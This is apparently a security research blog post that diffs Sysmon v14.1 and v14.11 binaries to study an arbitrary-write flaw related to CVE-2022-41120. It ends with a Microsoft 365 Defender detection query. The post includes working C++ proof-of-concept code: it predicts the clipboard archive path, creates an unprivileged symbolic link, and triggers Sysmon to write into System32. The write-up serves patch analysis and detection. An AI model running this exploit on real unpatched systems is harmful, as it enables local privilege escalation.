· 12 min.

Diffing Sysmon’s v14.11 ClipboardChange Event for Arbitrary Write

TL;DR — Sysmon’s pre-v14.13 ClipboardChange event could lead to arbitrary writes when Sysmon’s archive folder is unprotected and unprivileged users can create symbolic links.

On November 8th 2022, Microsoft released CVE-2022-41120, a “Microsoft Windows Sysmon Elevation of Privilege Vulnerability” reported by Filip Dragovic. The advisory recommended upgrading Sysmon (initially to v14.11, later to v14.12) even-though Filip Dragovic reported these patches as incomplete. Out of curiosity I decided to diff version 14.11 against its preceding version 14.1, a research technique I hadn’t used before. This article outlines how v14.11 introduces additional security controls to complicate arbitrary write operations based on ClipboardChange events.

The release of this article was delayed as the v14.11 (and later v14.12) patches were incomplete. The behavior outlined below is patched in the latest Sysmon version (v14.13) and relies on non-standard prerequisites. This article does not cover the full extent of CVE-2022-41120 for which I recommend you refer to Filip Dragovic’s Proof of Concept.

Some Introductions

If you’ve heard of Sysmon and know what binary diffing is, these introductions are not for you, carry-on to the next part!

What is Sysmon?

Sysmon (System Monitor) is a Microsoft utility widely used within Windows-based corporate environments to extend security logs. This utility provides valuable insights into process creations, file creations/removals, registry operations and many more interactions with core Windows components (network, mutexes, clipboard, …). Sysmon is extremely popular due to its extreme added value for both threat detection and forensics, so much it could be defined as a security-industry standard. Its broad deployment in modern and legacy environments however makes it a prime target for exploitation, especially given Sysmon executes using high privileges.

A Binary Diff Introduction

Before explaining a binary diff, let’s introduce the term “diff”. Simply said, a diff is merely a difference between files as explained in the following Wikipedia excerpt:

In computing, file comparison is the calculation and display of the differences and similarities between data objects, typically text files such as source code.

The methods, implementations, and results are typically called a diff, after the Unix diff utility. The output may be presented in a graphical user interface or used as part of larger tasks in networks, file systems, or revision control.

Source: Wikipedia

As Sysmon does not publish its source code, we have to perform a diff on the compiled binaries (a.k.a. a binary diff). Doing so is possible through the BinDiff tool described below by its author:

BinDiff is a comparison tool for binary files, that assists vulnerability researchers and engineers to quickly find differences and similarities in disassembled code.

With BinDiff you can identify and isolate fixes for vulnerabilities in vendor-supplied patches. You can also port symbols and comments between disassemblies of multiple versions of the same binary or use BinDiff to gather evidence for code theft or patent infringement.

Source: zynamics

To create this article, I relied on IDA Pro to disassemble both Sysmon versions and installed BinDiff in order to outline the changes introduced by the v14.11 patch.

Sysmon v14.11 vs v14.1

The first step to compare Sysmon v14.11 against v14.1 is to actually obtain a version of each. While this task may sound trivial, Sysinternals only publishes the latest version which at the time of writing was v14.11. Luckily, I was able to find the previous v14.1 within some of NVISO’s active test environments used for detection and red team engineering.

When checking Sysmon v14.11 against v14.1, only a couple of matched functions are recognized as modified by BinDiff.

A capture of matched Sysmon functions recognized as matched.
Figure 1: A capture of matched Sysmon functions recognized as matched.

Additional Archive Security Controls

Out of the few matched functions, one has a 78% similarity which is an excellent candidate for a rewrite. The following flow graphs depict how the v14.11 (primary, left) graph introduces an entirely new branch (red) when compared to v14.1 (secondary, right).

The flow graphs of the 78% similarity function introducing a new branch.
Figure 2: The flow graphs of the 78% similarity function introducing a new branch.

In v14.1, the function checks for the existence of a folder by getting its attributes through GetFileAttributesW. As shown in the below graph, if it exists, the function returns without errors (code 0). Otherwise, the folder gets created using CreateDirectoryW and later assigned strict permissions.

Disassembly of the Sysmon v14.1 archive’s creation.
Figure 3: Disassembly of the Sysmon v14.1 archive’s creation.

When compared to v14.11, we can notice that instead of returning 0 the function performs additional security checks should the folder exist.

Disassembly of the Sysmon v14.11 archive’s creation and validation.
Figure 4: Disassembly of the Sysmon v14.11 archive’s creation and validation.

The below pseudocode (Figure 5) outlines how in Sysmon v14.11 an existing archive is further validated to ensure it belongs to the NT AUTHORITY\SYSTEM account and can only be accessed by it. Specifically the following checks are made:

Only if all conditions are met the v14.11 function returns 0. Otherwise, the function returns 1336 if the archive’s owner is not NT AUTHORITY\SYSTEM or 1337 if the archive can be accessed by other accounts.

Pseudocode of the Sysmon v14.11 archive’s validation.
Figure 5: Pseudocode of the Sysmon v14.11 archive’s validation.

These additional checks suggest a too permissive archive may lead to undesirable behaviors…

ClipboardChange Event Additions

The above patched function is called from another location responsible for the archiving of ClipboardChange events’ content. The below flow graph highlights how once again v14.11 introduces small changes in the flow.

The flow graphs of the 94% similarity function relying on the new archive security controls.
Figure 6: The flow graphs of the 94% similarity function relying on the new archive security controls.

In the previous section we saw how an existing archive under v14.1 would not be validated. The following disassembly of the ClipBoardChange event archiving function outlines that Sysmon v14.1 would write the captured content in an unvalidated folder.

Disassembly of the Sysmon v14.1 clipboard content archiving.
Figure 7: Disassembly of the Sysmon v14.1 clipboard content archiving.

When comparing this behavior to the patched Sysmon v14.11, we can notice the validation error codes are properly mapped to new explanations:

  • 1336 would cause The "%s" ACL is too permissive and must be limited to System access. Archiving is disabled.
  • 1337 would cause The "%s" owner is not System. Archiving is disabled.

Pseudocode of the Sysmon v14.11 clipboard content archiving errors.
Figure 8: Pseudocode of the Sysmon v14.11 clipboard content archiving errors.

These two above changes raise the question about what could possibly go wrong if Sysmon came to write into an unsecure folder? After all, the folder path is predefined and the file naming cannot be controlled…

A Symbolic Attack Vector

Let’s summarize the situation:

  • Sysmon pre-V14.11 allows us to do anything we want within the archive folder if not set up securely.
  • Sysmon’s archive folder is at a fixed path and the file naming follows a fixed pattern. For ClipboardChange events the pattern is CLIP-{Hashes} where the {Hashes} are computed using the algorithms configured through the HashAlgorithms Sysmon configuration key.

The first obvious risk would be data-leakage by allowing unauthorized access to the captured clipboard contents (T1115). However, as I was searching for the CVE-2022-41120 LPE (Local Privilege Escalation), I started wondering whether some shenanigans could provide an unprivileged users with more rights than desired.

One more noteworthy detail is that the file created through the CreateFileW call has the OPEN_ALWAYS disposition:

OPEN_ALWAYS (4)

Opens a file, always. If the specified file exists, the function succeeds and the last-error code is set to ERROR_ALREADY_EXISTS (183). If the specified file does not exist and is a valid path to a writable location, the function creates a file and the last-error code is set to zero.

Source: Microsoft

After the file creation, Sysmon correctly validates that the file did not yet exist (ERROR_ALREADY_EXISTS). Overwriting existing files is hence not a viable attack vector.

The pseudocode of Sysmon v14.1’s clipboard-archive file creation.
Figure 9: The pseudocode of Sysmon v14.1’s clipboard-archive file creation.

One possible attack vector is to rely on symbolic links to point towards non-existing targets:

A symbolic link is a file-system object that points to another file-system object that is called the target. Symbolic links are transparent to users. The links appear as normal files or directories, and they can be acted upon by the user or application in exactly the same manner. Symbolic links are designed to aid in migration and application compatibility with UNIX operating systems. Microsoft has implemented symbolic links to function just like UNIX links.

Warning: This privilege should only be given to trusted users. Symbolic links can expose security vulnerabilities in applications that aren’t designed to handle them. Constant: SeCreateSymbolicLinkPrivilege

Source: Microsoft

Originally the idea seemed uninteresting given creating symbolic links would require the SeCreateSymbolicLinkPrivilege privilege, often only available to already privileged users. Out of curiosity I nonetheless decided to create a PoC (Proof of Concept) just to validate whether CreateFileW would consider a symbolic link without target as already existing or not.

Reading through the CreateSymbolicLinkW documentation however listed an interesting flag:

SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE (0x2)

Specify this flag to allow creation of symbolic links when the process is not elevated. Developer Mode must first be enabled on the machine before this option will function.

Source: Microsoft

From the above documentation, we can deduce that, on a Developer Mode Windows hosts, an unprivileged user could create a symbolic link within an unvalidated Sysmon pre-v14.11 archive towards a non-existing target… If CreateFileW would consider this existing link as non-existing.

A Proof of Concept

The following PoC will exploit a pre-v14.11 Sysmon configuration with the following properties:

  • The unsecured directory will be located at C:\Unsecured.
  • The configured HashAlgorithms is MD5.

Furthermore, the host will have Developer Mode enabled.

Compute the CLIP- Path

The first step in the PoC is to determine at which path the symbolic link should be created. We configured the HashAlgorithms to be MD5 so we’ll only compute the MD5, other algorithms could easily be implemented as well. Furthermore, from testing it appears Sysmon’s clipboard content hashing relies on widened data which we could implement as follows:

// Define the content to hash
_TCHAR *pText = argv[1];
SIZE_T dwTextSize = lstrlen(pText) * sizeof(_TCHAR);

// Allocate widened buffer
SIZE_T dwDataSize = dwTextSize * 2;
LPVOID pData = VirtualAlloc(NULL, dwDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pData == NULL)
{
    _tcerr << _T("Could not allocate ") << dwDataSize << _T(" bytes") << std::endl;
    return PrintLastErrorMessage(_T("VirtualAlloc"));
}

// Widen data
for (int i = 0; i < dwDataSize; i+=2)
{
    ((BYTE *)pData)[i] = ((BYTE *)pText)[i/2];
}

Once the data widened, we can compute the MD5 hash as shown in the following snippet.

// Prepare the MD5 hash
HCRYPTPROV hProv = NULL;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
    return PrintLastErrorMessage(_T("CryptAcquireContext"));
}

HCRYPTHASH hHash = NULL;
if (!CryptCreateHash(hProv, CALG_MD5, NULL, NULL, &hHash))
{
    return PrintLastErrorMessage(_T("CryptCreateHash"));
}

if (!CryptHashData(hHash, (BYTE *)pData, dwDataSize, NULL))
{
    return PrintLastErrorMessage(_T("CryptHashData"));
}

// Compute the MD5 hash
DWORD dwHashLen = MD5LEN;
BYTE pHash[MD5LEN];
if (!CryptGetHashParam(hHash, HP_HASHVAL, pHash, &dwHashLen, NULL))
{
    CryptReleaseContext(hProv, NULL);
    CryptDestroyHash(hHash);
    return PrintLastErrorMessage(_T("CryptGetHashParam"));
}

CryptDestroyHash(hHash);
CryptReleaseContext(hProv, NULL);

With the hash computed, the symbolic link’s path can be deduced by concatenating archive location and hash.

// Compute the archive path
_tostringstream pPath;
pPath << _T("C:\\") << argv[2] << _T("\\CLIP-") << std::uppercase << std::hex;
for (DWORD i = 0; i < dwHashLen; i++)
{
    pPath << (pHash[i] >> 4) << (pHash[i] & 0xf);
}

In the previous section we predicted at which path Sysmon will archive the clipboard content. We can then ensure no previous archived content interferes by deleting our desired location after which we create the symbolic link. Do note we’ll use the SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE flag to allow unprivileged users to create this symbolic link.

DeleteFile(pPath.str().c_str());

// Create the symbolic link
if (!CreateSymbolicLink(pPath.str().c_str(), argv[3], SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE))
{
    return PrintLastErrorMessage(_T("CreateSymbolicLink"));
}

The ClipboardChange Event

All that then remains to be done is populate the clipboard for Sysmon to write into the staged symbolic link.

// Populate the clipboard
if (!OpenClipboard(NULL))
{
    return PrintLastErrorMessage(_T("OpenClipboard"));
}

if (!EmptyClipboard())
{
    return PrintLastErrorMessage(_T("EmptyClipboard"));
}

HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, dwTextSize + sizeof(_TCHAR));
if (!hMem)
{
    return PrintLastErrorMessage(_T("GlobalAlloc"));
}

LPVOID hMem2 = GlobalLock(hMem);
if (!hMem2)
{
    return PrintLastErrorMessage(_T("GlobalLock"));
}

memcpy(hMem2, pText, dwTextSize);

if (!SetClipboardData(CF_TTEXT, hMem))
{
    return PrintLastErrorMessage(_T("SetClipboardData"));
}

if (!CloseClipboard())
{
    return PrintLastErrorMessage(_T("CloseClipboard"));
}

if (!GlobalUnlock(hMem) && GetLastError() != NO_ERROR)
{
    return PrintLastErrorMessage(_T("GlobalUnlock"));
}

The final code is available within the SysmonCopy.cpp file. In the following capture we can observe how an unprivileged user triggers the Sysmon vulnerability and writes within the privileged C:\Windows\System32 folder.

Execution of the proof-of-concept within the command prompt.
Figure 10: Execution of the proof-of-concept within the command prompt.

In Sysmon’s unprotected archive folder we can observe a symbolic link was indeed created.

Explorer view of the Sysmon archive.
Figure 11: Explorer view of the Sysmon archive.

We can finally notice the elevation of privilege worked as Explorer displays the newly created file within C:\Windows\System32.

Explorer view of the System32 folder.
Figure 12: Explorer view of the System32 folder.

Given this capability, an unprivileged user could create malicious setup information (INF) files, PowerShell profiles or perform other text-file-based attacks.

Detections

Detecting the behavior is luckily quite trivial as the Sysmon service is not expected to create any files outside its archive directory. Furthermore, even files within the archive follow strictly predefined patterns. For Microsoft 365 Defender users, the beneath Advanced Hunting query should highlight potential exploitation attempts.

// Leave the archive empty if unknown
let Archive = @"C:\Unprotected\";
// Look for Sysmon file events
DeviceFileEvents
| where InitiatingProcessVersionInfoProductName == "Sysinternals Sysmon" and 
    InitiatingProcessIntegrityLevel == "System" and
    // Where Sysmon runs as a service
    InitiatingProcessParentFileName == "services.exe" and
    // Which is not caused by Sysmon's installation
    InitiatingProcessCommandLine !contains " -i " and
    // And outside of the expected archive (if known) or at an impossible depth (if archive unknown)
    (FolderPath !startswith Archive or (isempty(Archive) and FolderPath matches regex @"^\w:\\([^\\]+\\){2}"))

Do note in the following screenshot I created (an invalid) suspicious.dll file. This is done to have Microsoft Defender’s sampling log the file events as text files were not easily logged.

Custom detection rule within Microsoft 365 Defender.
Figure 13: Custom detection rule within Microsoft 365 Defender.

Conclusion

In this article we saw how some pre-v14.13 Sysmon configurations can lead to arbitrary writes. This information was uncovered through binary diffing, a powerful research technique when applied on patches. Analyzing the Sysmon patch(es) allowed me to develop detection mechanisms surrounding what might be CVE-2022-41120 as well as, potentially, other future similar Sysmon vulnerabilities.

References

  1. https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41120
  2. https://twitter.com/filip_dragovic/status/1590052248260055041
  3. https://github.com/Wh04m1001/SysmonEoP
  4. https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
Diffing Patches Diffing Reverse Engineering Sysmon Patch Exploit CVE-2022-41120 Proof-of-Concepts